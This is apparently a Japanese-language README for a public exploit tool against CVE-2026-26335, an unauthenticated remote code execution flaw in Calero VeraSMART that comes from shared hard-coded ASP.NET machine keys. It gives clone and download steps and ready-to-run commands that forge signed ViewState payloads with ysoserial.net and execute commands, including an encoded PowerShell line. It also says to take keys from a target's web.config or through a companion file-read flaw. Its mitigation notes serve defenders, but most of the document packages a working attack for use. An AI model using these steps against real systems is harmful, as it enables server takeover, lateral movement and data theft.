👤 著者

Mohammed Idrees Banyamer セキュリティリサーチャー

• GitHub: https://github.com/mbanyamer
• Instagram: https://instagram.com/banyamer_security

CVE-2026-26335 - Calero VeraSMART ViewState RCE エクスプロイト

📌 説明

CVE‑2026‑26335 は、Calero VeraSMART（2022 R1 より前）における重大な認証不要のリモートコード実行の脆弱性です。

このアプリケーションは、インストール環境間で共有される静的でハードコードされた ASP.NET machine keys を使用しています。
これらのキーを入手した攻撃者は、悪意のある ASP.NET ViewState を偽造し、サーバーサイドのデシリアライゼーション → RCE を引き起こすことができます。

このエクスプロイトは以下を自動化します:

• ViewState エンドポイントの探索
• __VIEWSTATEGENERATOR の抽出
• ysoserial ペイロードの生成
• 署名付き ViewState の配信
• コマンド実行

⚠️ 影響

• 認証不要の RCE
• IIS ユーザーの侵害
• ドメイン内の横移動
• データの外部送信
• Webシェルによる永続化

🧠 根本原因

CWE‑321 — ハードコードされた暗号鍵

VeraSMART の導入環境では、同一の ASP.NET machineKey が再利用されています:

<machineKey validationKey="STATIC_KEY"
           decryptionKey="STATIC_KEY"
           validation="SHA1"
           decryption="AES" />

ある導入環境からキーを入手した攻撃者は、すべての環境を攻撃できます。

🛠 要件

• Python 3
• ysoserial.net
• VeraSMART machine keys
• IIS へのネットワークアクセス

⚙️ インストール

git clone https://github.com/mbanyamer/CVE-2026-26335-VeraSMART-RCE.git
cd CVE-2026-26335-VeraSMART-RCE
wget https://github.com/pwntester/ysoserial.net/releases/latest/download/ysoserial.exe

🔑 Machine Keys の入手

キーは公開されていません。ターゲットから入手してください:

C:\Program Files (x86)\Veramark\VeraSMART\WebRoot\web.config

または、付随するファイル読み取り脆弱性を介して:

CVE‑2026‑26333

🚀 使用方法

脆弱性の確認

python3 exploit.py -t https://target-ip -vk VALIDATION_KEY -dk DECRYPTION_KEY --check-only -v

コマンドの実行

python3 exploit.py -t https://target-ip -vk VALIDATION_KEY -dk DECRYPTION_KEY -c "whoami"

特定のエンドポイント

python3 exploit.py -t https://target-ip -vk KEY -dk KEY -e /Login.aspx -c "powershell -enc ZQBjAGgAbwAgAEgAYQBjAGsAZQBkAA=="

プロキシでのデバッグ

python3 exploit.py -t https://target-ip -vk KEY -dk KEY --proxy http://127.0.0.1:8080 -v

📡 エクスプロイトの流れ

1. ViewState エンドポイントを発見
2. ジェネレーターを抽出
3. 署名付きペイロードを生成
4. 偽造した ViewState を送信
5. ASP.NET のデシリアライゼーション
6. コマンド実行

📊 CVSS

9.8 — Critical AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

🧪 テスト済み環境

• VeraSMART 2020
• VeraSMART 2021
• VeraSMART 2022（pre‑R1）
• Windows Server 2016/2019
• IIS 10
• ASP.NET 4.x

🔒 緩和策

VeraSMART 2022 R1 で修正済み:

• 一意の machine keys
• ViewState の強化
• 安全なキーストレージ

回避策:

• machineKey のローテーション
• ViewState の無効化
• IIS の露出制限
• WAF の ViewState ルール

📚 参考情報

• https://www.vulncheck.com/advisories/calero-verasmart-2022-r1-static-iis-machine-keys-enable-viewstate-rce
• https://www.calero.com/

⚖️ 免責事項

教育目的および許可を得たテストのみを対象としています。 所有しているシステム、または評価の許可を得たシステムでのみ使用してください。

👤 著者

Mohammed Idrees Banyamer セキュリティリサーチャー

• GitHub: https://github.com/mbanyamer
• Instagram: https://instagram.com/banyamer_security

📊 エクスプロイト図

以下の図は、Calero VeraSMART における CVE‑2026‑26335 のエクスプロイトチェーンを示しています。静的 ASP.NET machine keys により、悪意のある ViewState の偽造が可能となり、リモートコード実行につながります。

flowchart LR
    A[Attacker] --> B[Obtain VeraSMART machineKey]
    B --> C[Discover ViewState endpoint]
    C --> D[Extract __VIEWSTATEGENERATOR]
    D --> E[Generate malicious ViewState via ysoserial]
    E --> F[Sign payload with machineKey]
    F --> G[Send forged POST request]
    G --> H[ASP.NET ViewState deserialization]
    H --> I[TypeConfuseDelegate gadget]
    I --> J[Remote Code Execution on IIS]